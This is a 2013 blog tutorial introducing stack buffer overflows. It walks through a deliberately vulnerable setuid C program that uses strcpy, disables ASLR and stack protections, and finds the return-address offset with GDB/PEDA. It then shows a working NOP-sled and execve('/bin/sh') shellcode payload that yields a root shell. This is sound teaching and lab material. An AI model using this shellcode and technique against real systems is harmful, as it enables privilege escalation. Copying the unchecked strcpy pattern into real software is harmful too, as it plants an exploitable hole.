title: Introduction to buffer overflows author: depierre published: 2013-02-24 categories: Security keywords: stack, shellcode, gdb, exploit, buffer, aslr, peda, bof, overflow, exec, security # Before starting I know that buffer overflow is not a new hot topic from last week but it's so enormous that I really wanted to do something about it. Thanks to the [Most Expansive One-Byte Mistake](http://queue.acm.org/detail.cfm?id=2010365), the _NUL-byte_ defining the end of strings opens a whole new world. By taking advantages of _dummy_ functions like [strcpy](http://www.cplusplus.com/reference/cstring/strcpy/), we will be able to exploit a famous security flaw. This security hole is called _buffer overflow_ and it will be the topic of this paper. I'm writing these words more as a reminder than a fully-documented expert whatever paper, but I hope it will help you. # Vulnerable program :::c #include #include #include int main(int argc, char *argv[]) { char buffer[256] = {0}; if (argc < 2) { printf("Usage: %s username\n", argv[0]); exit(1); } /* strcpy doesn't check the size of the destination buffer */ strcpy(buffer, argv[1]); printf("Your username is: %s\n", buffer); return 0; } The program above will be our example all along this paper. It simply asks an username to display it (useless I know). Here, the problem is that the function _strcpy_ doesn't check if the source is bigger than the destination. Therefore, the buffer overflow comes up. But first, we have to remove some protections. Current operating systems and compilers add some security routines to prevent this problem. So, to be able to exploit our buffer overflow, I will remove them. But don't think that thanks to these protections, this security flaw is not exploitable anymore! (see More?) Our case is just an simple example to understand the process, but some buffer overflows are so well done that the protections don't prevent them. :::bash depierre$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space" depierre$ gcc -fno-stack-protector -z execstack -m32 -o vulnerable_prog vulnerable_prog.c 1. the first line disables [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization) which randomizes the offsets 2. -fno-stack-protector allows us to overwrite the stack 3. -z execstack allows the stack to be executable We also allow the vulnerable program to setuid (i.e chmod +s). It will allow us to gain the root's rights for our example. Also, in this paper, I'm using a method which requires the stack to be executable. You can check it using readelf as shown below. :::bash depierre$ readelf -l vulnerable_prog Type de fichier ELF est EXEC (fichier exécutable) Point d'entrée 0x8048360 Il y a 8 en-têtes de programme, débutant à l'adresse de décalage52 En-têtes de programme: Type Décalage Adr. vir. Adr.phys. T.Fich. T.Mém. Fan Alignement PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 [Réquisition de l'interpréteur de programme: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00680 0x00680 R E 0x1000 LOAD 0x000680 0x08049680 0x08049680 0x00120 0x00124 RW 0x1000 DYNAMIC 0x00068c 0x0804968c 0x0804968c 0x000e8 0x000e8 RW 0x4 NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x00059c 0x0804859c 0x0804859c 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 Section à la projection de segement: Sections de segment... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 GNU_STACK represents the stack of the program and as you can read, it's executable __E__. If it wasn't, we couldn't have applied this method here. But other ones can do that and maybe I'll write something about later. Now let's focus and try different inputs. :::bash depierre$ ./vulnerable_prog $(python2.7 -c "print 'A'*20") Your username is: AAAAAAAAAAAAAAAAAAAA Since the username doesn't exceed 256 characters, everything is ok. :::bash depierre$ ./vulnerable_prog $(python2.7 -c "print 'A'*300") Your username is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Erreur de segmentation (core dumped) Oups! As you can see, with an username 300 'A' long, the program stopped because of a SIGSEV (Segmentation fault). Here is the buffer overflow. # Find the offset of the buffer To see what happens inside the program, I use [GDB](http://www.gnu.org/software/gdb/) with [PEDA](http://code.google.com/p/peda/). Knowing that _strcpy_ will be the root of the buffer overflow, I break on it. :::bash gdb-peda$ pset arg "'A'*4" gdb-peda$ dis main Dump of assembler code for function main: 0x0804845c <+0>: push ebp 0x0804845d <+1>: mov ebp,esp 0x0804845f <+3>: push edi 0x08048460 <+4>: push ebx 0x08048461 <+5>: and esp,0xfffffff0 0x08048464 <+8>: sub esp,0x110 0x0804846a <+14>: lea ebx,[esp+0x10] 0x0804846e <+18>: mov eax,0x0 0x08048473 <+23>: mov edx,0x40 0x08048478 <+28>: mov edi,ebx 0x0804847a <+30>: mov ecx,edx 0x0804847c <+32>: rep stos DWORD PTR es:[edi],eax 0x0804847e <+34>: cmp DWORD PTR [ebp+0x8],0x1 0x08048482 <+38>: jg 0x80484a5 0x08048484 <+40>: mov eax,DWORD PTR [ebp+0xc] 0x08048487 <+43>: mov eax,DWORD PTR [eax] 0x08048489 <+45>: mov DWORD PTR [esp+0x4],eax 0x0804848d <+49>: mov DWORD PTR [esp],0x8048570 0x08048494 <+56>: call 0x8048310 0x08048499 <+61>: mov DWORD PTR [esp],0x1 0x080484a0 <+68>: call 0x8048340 0x080484a5 <+73>: mov eax,DWORD PTR [ebp+0xc] 0x080484a8 <+76>: add eax,0x4 0x080484ab <+79>: mov eax,DWORD PTR [eax] 0x080484ad <+81>: mov DWORD PTR [esp+0x4],eax 0x080484b1 <+85>: lea eax,[esp+0x10] 0x080484b5 <+89>: mov DWORD PTR [esp],eax 0x080484b8 <+92>: call 0x8048320 0x080484bd <+97>: lea eax,[esp+0x10] 0x080484c1 <+101>: mov DWORD PTR [esp+0x4],eax 0x080484c5 <+105>: mov DWORD PTR [esp],0x8048584 0x080484cc <+112>: call 0x8048310 0x080484d1 <+117>: mov eax,0x0 0x080484d6 <+122>: lea esp,[ebp-0x8] 0x080484d9 <+125>: pop ebx 0x080484da <+126>: pop edi 0x080484db <+127>: pop ebp 0x080484dc <+128>: ret End of assembler dump. gdb-peda$ break *0x80484b8 Breakpoint 1 at 0x80484b8 gdb-peda$ r Starting program: vulnerable_prog 'AAAA' [----------------------------------registers-----------------------------------] EAX: 0xffffd650 --> 0x0 EBX: 0xffffd650 --> 0x0 ECX: 0x0 EDX: 0x40 ('@') ESI: 0x0 EDI: 0xffffd740 --> 0xf7fa4000 --> 0x1acd9c EBP: 0xffffd748 --> 0x0 ESP: 0xffffd630 --> 0xffffd650 --> 0x0 EIP: 0x80484b8 (: call 0x8048320 ) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80484ad : mov DWORD PTR [esp+0x4],eax 0x80484b1 : lea eax,[esp+0x10] 0x80484b5 : mov DWORD PTR [esp],eax => 0x80484b8 : call 0x8048320 0x80484bd : lea eax,[esp+0x10] 0x80484c1 : mov DWORD PTR [esp+0x4],eax 0x80484c5 : mov DWORD PTR [esp],0x8048584 0x80484cc : call 0x8048310 Guessed arguments: arg[0]: 0xffffd650 --> 0x0 arg[1]: 0xffffd991 ('AAAA'") [------------------------------------stack-------------------------------------] 0000| 0xffffd630 --> 0xffffd650 --> 0x0 0004| 0xffffd634 --> 0xffffd991 ('AAAA') 0008| 0xffffd638 --> 0x8048258 ("__libc_start_main") 0012| 0xffffd63c --> 0xf7e04374 --> 0x72647800 ('') 0016| 0xffffd650 --> 0x0 0020| 0xffffd644 --> 0x0 0024| 0xffffd648 --> 0x0 0028| 0xffffd64c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080484b8 in main () The first parameter of _strcpy_ is the destination buffer and the second one is the source. Just before the call of the function, the parameters are pushed on the stack from the last one to the first. So if we look at the stack, the top contains the offset of the buffer _0xffffd650_. Now let's find how the input should be long to redirect EIP. # Where are you EIP? Don't be afraid! Let's start again with GDB and PEDA. :::bash gdb-peda$ pset arg 'cyclic_pattern(300)' gdb-peda$ break main Breakpoint 1 at 0x8048461 gdb-peda$ r Starting program: vulnerable_prog 'A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-7A-8A-9AasAanAa(Aa)Aa;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbsAbnAb(Ab)Ab;Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcsAcnAc(Ac)Ac;Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9AdsAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4' _pset arg 'cyclic_pattern(300)'_ is a PEDA command which will generate a string 300 characters long. The wonderful thing here is that we don't have to brute force the length of the input to find when the program crashs because the command _pattern_search_ will tell us everything! :::bash gdb-peda$ continue Continuing. Your username is: A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-7A-8A-9AasAanAa(Aa)Aa;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbsAbnAb(Ab)Ab;Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcsAcnAc(Ac)Ac;Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9AdsAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x63413563 ('c5Ac') ECX: 0x0 EDX: 0x0 ESI: 0x0 EDI: 0x37634136 ('6Ac7') EBP: 0x41386341 ('Ac8A') ESP: 0xffffd750 ("sAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4") EIP: 0x64413963 ('c9Ad') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x64413963 [------------------------------------stack-------------------------------------] 0000| 0xffffd750 ("sAdnAd(Ad)Ad;Ad0Ad1Ad2Ad3Ad4") 0004| 0xffffd754 ("Ad(Ad)Ad;Ad0Ad1Ad2Ad3Ad4") 0008| 0xffffd758 ("d)Ad;Ad0Ad1Ad2Ad3Ad4") 0012| 0xffffd75c (";Ad0Ad1Ad2Ad3Ad4") 0016| 0xffffd760 ("Ad1Ad2Ad3Ad4") 0020| 0xffffd764 ("d2Ad3Ad4") 0024| 0xffffd768 ("3Ad4") 0028| 0xffffd76c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x64413963 in ?? () Looking at the stack, we can see that _EBX_ have been overwritten, _EDI_ too and so _EBP_, _ESP_ and last but not least, __EIP__! Well, in fact, we didn't overwrite _EIP_ but __ESP__, which will redirect _EIP_. If your knowledges about the stack are light, you just have to remember one thing. When a program enters in a function, it has to remember where it comes from. So it will push on _ESP_ the return offset. Then, when it leaves the function (when it finds a __RET__ instruction), _EIP_ will take the value from _ESP_. But here, _EIP_ doesn't contain a valid offset but _0x64413963_. Knowing what's on the stack, we have to find how long should be the input to crush _ESP_. :::bash gdb-peda$ pattern_search Registers contain pattern buffer EIP+0 found at offset: 268 EBX+0 found at offset: 256 EDI+0 found at offset: 260 EBP+0 found at offset: 264 Registers point to pattern buffer [ESP] points to pattern offset: 272 Start of pattern buffer "A%sA" found at: 0xf7fd9012 (mapped) 0xffffd640 : $sp + -0x110 (-68 dwords) 0xffffd98f : $sp + 0x23f (143 dwords) References to start of pattern buffer "A%sA" found at: 0xffffd620 : $sp + -0x130 (-76 dwords) 0xffffd628 : $sp + -0x128 (-74 dwords) 0xffffd634 : $sp + -0x11c (-71 dwords) 0xffffd7e8 : $sp + 0x98 (38 dwords) See? _pattern_search_ gives us every needed informations! In order to overwrite EIP, we read the second line. So after 268 bytes, the next 4 ones will overwrite EIP. Let try with a simpler input. :::bash gdb-peda$ pset arg "'A'*268 + 'B'*4" gdb-peda$ r Starting program: vulnerable_prog 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' Your username is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x41414141 ('AAAA') ECX: 0x0 EDX: 0x0 ESI: 0x0 EDI: 0x41414141 ('AAAA') EBP: 0x41414141 ('AAAA') ESP: 0xffffd760 --> 0x0 EIP: 0x42424242 ('BBBB') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x42424242 [------------------------------------stack-------------------------------------] 0000| 0xffffd760 --> 0x0 0004| 0xffffd764 --> 0xffffd7f4 --> 0xffffd96f ("vulnerable_prog") 0008| 0xffffd768 --> 0xffffd800 --> 0xffffdabc ("XDG_VTNR=1") 0012| 0xffffd76c --> 0xf7ffcfc0 --> 0x20ef8 0016| 0xffffd770 --> 0x2f ('/') 0020| 0xffffd774 --> 0x0 0024| 0xffffd778 --> 0xf7fda2e8 --> 0xf7df7000 --> 0x464c457f 0028| 0xffffd77c --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x42424242 in ?? () As it is shown above, _EBX_, _EDI_ and _EBP_ are overwritten by the _As_ and then, _EIP_ is overwritten by the _Bs_. To exploit the buffer overflow, we will redirect the EIP to a shellcode which will open a new shell. This one will have the same rights as the owner (thanks to _chmod +s_) of the program (in our case _root_). There are plenty of solutions where writing shellcodes. For instance you can save it in an [environment variable](https://www.owasp.org/index.php/Buffer_Overflow_via_Environment_Variables). Here, I will directly write it into the buffer and redirect the _EIP_ on its beginning. # Shellcode As we know, after writing 268 bytes in the buffer, the next 4 bytes will overwrite the _EIP_. It's here that we will write the address pointing to the beginning of the buffer. We will pad the first bytes with _'\x90'_ (i.e. _NOP instruction_), write the shellcode, pad with some _NOPs_ again and finally pad with the offset several times. Therefore we have: :::python '\x90' * 100 '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' '\x90' * 63 '\x50\xd6\xff\xff' * 22 I write 63 _NOPs_ after the shellcode in order to pad the buffer but also to align the offset saved on the stack. As you can see below, if I only write 62 _NOP_s, the _EIP_ will not point where we want. The last line of the shellcode is the offset repeated 22 times. If you're asking why it is written backwards, it's because the OS uses [little-endian encodage](http://en.wikipedia.org/wiki/Endianness) so the most significant byte is on the right. :::bash gdb-peda$ pset arg "'\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*62 + '\x50\xd6\xff\xff'*22" gdb-peda$ r Your username is: 1 Ph//shh/bin P S P P P P P P P P P P P P P P P P P P P P P P Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x50ffffd6 ECX: 0x0 EDX: 0x0 ESI: 0x0 EDI: 0x50ffffd6 EBP: 0x50ffffd6 ESP: 0xffffd760 --> 0xffffd6 EIP: 0x50ffffd6 EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x50ffffd6 [------------------------------------stack-------------------------------------] 0000| 0xffffd760 --> 0xffffd6 0004| 0xffffd764 --> 0xffffd7f4 --> 0xffffd96e ("vulnerable_prog") 0008| 0xffffd768 --> 0xffffd800 --> 0xffffdabe ("XDG_VTNR=1") 0012| 0xffffd76c --> 0xf7ffcfc0 --> 0x20ef8 0016| 0xffffd770 --> 0x2a ('*') 0020| 0xffffd774 --> 0x0 0024| 0xffffd778 --> 0xf7fda2e8 --> 0xf7df7000 --> 0x464c457f 0028| 0xffffd77c --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x50ffffd6 in ?? () As you can see, _EIP_ doesn't point on _0xffffd650_ but _0x50ffffd6_. :::bash gdb-peda$ x/300x $esp 0xffffd640: 0xffffd650 0xffffd9aa 0x08048258 0xf7e04374 0xffffd650: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd660: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd670: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd680: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd690: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd6a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd6b0: 0x90909090 0x6850c031 0x68732f2f 0x69622f68 0xffffd6c0: 0x50e3896e 0x8953e289 0xcd0bb0e1 0x90909080 0xffffd6d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd6e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd6f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd700: 0x90909090 0x90909090 0x50909090 0x50ffffd6 0xffffd710: 0x50ffffd6 0x50ffffd6 0x50ffffd6 0x50ffffd6 0xffffd720: 0x50ffffd6 0x50ffffd6 0x50ffffd6 0x50ffffd6 0xffffd730: 0x50ffffd6 0x50ffffd6 0x50ffffd6 0x50ffffd6 0xffffd740: 0x50ffffd6 0x50ffffd6 0x50ffffd6 0x50ffffd6 0xffffd750: 0x50ffffd6 0x50ffffd6 0x50ffffd6 0x50ffffd6 0xffffd760: 0x00ffffd6 0xffffd7f4 0xffffd800 0xf7ffcfc0 0xffffd770: 0x0000002a 0x00000000 0xf7fda2e8 0x00000002 0xffffd780: 0xffffd7f0 0xf7fa4000 0x00000000 0x00000000 0xffffd790: 0x00000000 0x8d59600b 0xb0f8641b 0x00000000 0xffffd7a0: 0x00000000 0x00000000 0x00000002 0x08048360 0xffffd7b0: 0x00000000 0xf7ff0c70 0xf7e10739 0xf7ffcfc0 So, with 63 _NOPs_ instead of 62, we align the offset and _EIP_ will contain _0xffffd650_. # Exploit time! Let's try with our correct buffer input. :::bash gdb-peda$ pset arg "'\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*63 + '\x50\xd6\xff\xff'*22" gdb-peda$ r Starting program: vulnerable_prog ' 1 Ph//shh/bin P S ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ' Your username is: 1 Ph//shh/bin P S ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` process 27403 is executing new program: /bin/sh As we were expecting, _vulnerable_program_ has started a new shell _/bin/sh_. Our gate is now opened! Let's try outside GDB. :::bash depierre$ ./vulnerable_prog $(python2.7 -c "print '\x90'*24 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*63 + '\x50\xd6\xff\xff'*40") Your username is: 1 Ph//shh/bin P S ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` Erreur de segmentation (core dumped) Well well well, it has failed. I asked some friends about why our exploit works in GDB but not outside. The reason is that GDB adds some stuff when it debugs programs. For instance, it will reserve some space for the local variables, more than they actually need. Moreover, if we haven't deleted the protection from the operating system, the offset in the shellcode would have been wrong too, because the ones of the stack would have been randomized by the ASLR method. Now you understand why I had to disable it exploiting the buffer overflow. # Fix the shellcode You might be still wondering why I wrote 100 _NOPs_ at the beginning of the buffer and now it's time to tell you. Here, we are just dealing with the padding from GDB (ASLR disabled). So one solution is to pad the beginning of the buffer in order to have a bigger area where to point and change the offset to point in the middle. Then, we will expand our shellcode by writing the offset a little bit further. With these modifications, we will prevent the buffer from translating and/or expanding. :::python '\x90' * 100 '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' '\x90' * 63 '\xa4\xd6\xff\xff' * 40 Let's try one more time with our new shellcode. :::bash depierre$ whoami depierre depierre$ ./vulnerable_prog $(python2.7 -c "print '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*63 + '\xa4\xd6\xff\xff'*40") Your username is: 1 Ph//shh/bin P S sh-4.2$ whoami root Here we are! Now we have a root shell on the computer using a buffer overflow from the program. I hope you liked it as well as me when I exploited my first buffer overflow. I know this paper doesn't go so deep into the topic but at least it has shown some of its aspects. Also, as I said, I've written this more as a reminder than anything else. # More? + [Smashing The Stack For Fun And Profit](http://www.phrack.org/issues.html?id=14&issue=49) + [Buffer Overflows: Anatomy of an Exploit](http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Buffer%20overflows.pdf) + [Performing a ret2libc Attack](http://shellblade.net/docs/ret2libc.pdf) + [ASLR Smack & Laugh Reference](http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Bypasses%20-%20ASLR%20Smack%20Reference.pdf)